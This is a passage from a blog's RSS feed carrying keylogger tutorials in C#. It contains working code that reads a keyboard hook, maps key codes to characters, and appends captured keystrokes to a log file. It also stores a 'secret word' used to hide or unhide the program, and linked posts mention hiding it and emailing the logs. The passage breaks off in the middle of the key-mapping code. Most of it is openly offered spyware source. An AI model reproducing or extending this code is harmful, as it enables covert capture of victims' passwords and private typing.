<li><a href="http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails" rel="bookmark" title="Sunday 01.11.2009">Keylogger in C# :: sending emails</a></li>
</ul>
<p><!-- Similar Posts took 6.012 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=550" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: Saving content</title>
		<link>http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content</link>
		<comments>http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content#comments</comments>
		<pubDate>Tue, 27 Oct 2009 13:26:11 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=540</guid>
		<description><![CDATA[In this fourth tutorial about writing keylogger in C# we are going to discuss something not as much connected to the keylogging but it is needed for basic functionality of keylogger. If you remember function that were called in previous tutorial but I haven&#8217;t explained their functionality in depth about that. Now we will touch [...]]]></description>
			<content:encoded><![CDATA[<p>In this fourth tutorial about writing keylogger in C# we are going to discuss something not as much connected to the keylogging but it is needed for basic functionality of keylogger.</p>
<p><span id="more-540"></span>If you remember function that were called in previous tutorial but I haven&#8217;t explained their functionality in depth about that. Now we will touch some of them.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> initKeyWords<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
&nbsp;
TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;keywords.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #FF0000;">String</span> temp<span style="color: #008000;">;</span>
&nbsp;
keyWords <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> ArrayList<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">do</span>
&nbsp;
<span style="color: #000000;">&#123;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// read a line of text</span>
&nbsp;
temp <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadLine</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>temp <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span> keyWords.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>temp<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #000000;">&#125;</span> <span style="color: #0600FF;">while</span> <span style="color: #000000;">&#40;</span>temp <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// close the stream</span>
&nbsp;
tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>This function reads all keywords from the file named <strong>kywords.krs</strong> you may name file in any way you want. Also you do not have to have this function but keywords will be used to fire special event alert or sending emails or something similar.</p>
<p>The following two functions are used to write in file <strong>secret word, </strong>this word is used for hiding or unhiding keylogger.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">public</span> <span style="color: #FF0000;">String</span> readFromFile<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span> fil<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
&nbsp;
TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// read a line of text</span>
&nbsp;
<span style="color: #FF0000;">String</span> secr <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadLine</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// close the stream</span>
&nbsp;
tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">return</span> secr<span style="color: #008000;">;</span>
&nbsp;
<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> WriteSecretWord<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
&nbsp;
<span style="color: #000000;">&#123;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// create a writer and open the file</span>
&nbsp;
TextWriter tw <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamWriter<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;secret.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// write a line of text to the file</span>
&nbsp;
tw.<span style="color: #0000FF;">Write</span><span style="color: #000000;">&#40;</span>textBox1.<span style="color: #0000FF;">Text</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #008080; font-style: italic;">// close the stream</span>
&nbsp;
tw.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>This function is used for writing pressed keys codes into file named <strong>logs.krs</strong> it is called from the function explained in previous file.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> writeToFile<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">String</span> writing<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
&nbsp;
            TextReader tr <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;logs.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// read a line of text</span>
            <span style="color: #FF0000;">String</span> secr <span style="color: #008000;">=</span> tr.<span style="color: #0000FF;">ReadToEnd</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tr.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// create a writer and open the file</span>
            TextWriter tw <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamWriter<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;logs.krs&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// write a line of text to the file</span>
            tw.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span>secr<span style="color: #008000;">+</span>writing<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #008080; font-style: italic;">// close the stream</span>
            tw.<span style="color: #0000FF;">Close</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-catching-secret-word" rel="bookmark" title="Saturday 31.10.2009">Keylogger in C# :: catching secret word</a></li>
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding" rel="bookmark" title="Thursday 29.10.2009">Keylogger in C# :: Hiding &#038;&#038; unhiding</a></li>
<li><a href="http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger" rel="bookmark" title="Wednesday 02.06.2010">Extending the C# KeyLogger</a></li>
</ul>
<p><!-- Similar Posts took 6.490 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=540" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/hack/2009/10/keylogger-in-c-saving-content/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: Detecting pressed keys</title>
		<link>http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys</link>
		<comments>http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys#comments</comments>
		<pubDate>Mon, 26 Oct 2009 21:41:07 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=534</guid>
		<description><![CDATA[Its been a while since I wrote in this line of tutorials and it is time to finish the line. So expect more coming soon. Now, on the business this tutorial will be about detecting pressed keys. In this tutorial we will show how to detect pressed keys. The following function is called when key is pressed. However, you [...]]]></description>
			<content:encoded><![CDATA[<p>Its been a while since I wrote in this line of tutorials and it is time to finish the line. So expect more coming soon. Now, on the business this tutorial will be about detecting pressed keys. In this tutorial we will show how to detect pressed keys. <span id="more-534"></span>The following function is called when key is pressed. However, you remember introduction in which we explained creating hook and such. In the constructor you should call function that will be called in case key is pressed.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">Hook.<span style="color: #0000FF;">CreateHook</span><span style="color: #000000;">&#40;</span>KeyReaderr<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></pre></div></div>

<p><strong>KeyReaderr</strong> is the name of function that will be called in case <strong>key hook</strong> is active function KeyReaderr will be called.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;">  <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> KeyReaderr<span style="color: #000000;">&#40;</span>IntPtr wParam, IntPtr lParam<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #FF0000;">int</span> key <span style="color: #008000;">=</span> Marshal.<span style="color: #0000FF;">ReadInt32</span><span style="color: #000000;">&#40;</span>lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            Hook.<span style="color: #0000FF;">VK</span> vk <span style="color: #008000;">=</span> <span style="color: #000000;">&#40;</span>Hook.<span style="color: #0000FF;">VK</span><span style="color: #000000;">&#41;</span>key<span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #FF0000;">String</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">switch</span> <span style="color: #000000;">&#40;</span>vk<span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F1</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F1-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F2</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F2-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F3</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F3-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F4</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F4-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F5</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F5-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F6</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F6-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F7</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F7-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F8</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F8-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F9</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F9-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F10</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F10-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F11</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F11-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F12</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-F12-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMLOCK</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-numlock-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SCROLL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-scroll&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_LSHIFT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-left shift-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RSHIFT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-right shift-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_LCONTROL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-left control-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_RCONTROL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&amp;lt;-right control-&amp;gt;&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SEPERATOR</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;|&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_SUBTRACT</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;-&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DECIMAL</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;.&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_DIVIDE</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;/&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD0</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;0&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD1</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;1&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD2</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;2&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD3</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;3&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD4</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;4&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD5</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;5&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD6</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;6&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD7</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;7&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD8</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;8&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_NUMPAD9</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;9&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_Q</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;q&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_W</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;w&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_E</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;e&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_R</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;r&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_T</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;t&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_Y</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;y&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_U</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;u&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_I</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;i&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_O</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;o&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_P</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;p&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_A</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;a&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_S</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;s&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_D</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;d&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_F</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;f&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_G</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;g&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_H</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;h&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_J</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;j&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_K</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;k&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_L</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;l&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_Z</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;z&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_X</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;x&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_C</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;c&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_V</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;v&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
                <span style="color: #0600FF;">case</span> Hook.<span style="color: #0000FF;">VK</span>.<span style="color: #0000FF;">VK_B</span><span style="color: #008000;">:</span> temp <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;b&quot;</span><span style="color: #008000;">;</span>
                    break<span style="color: #008000;">;</span>
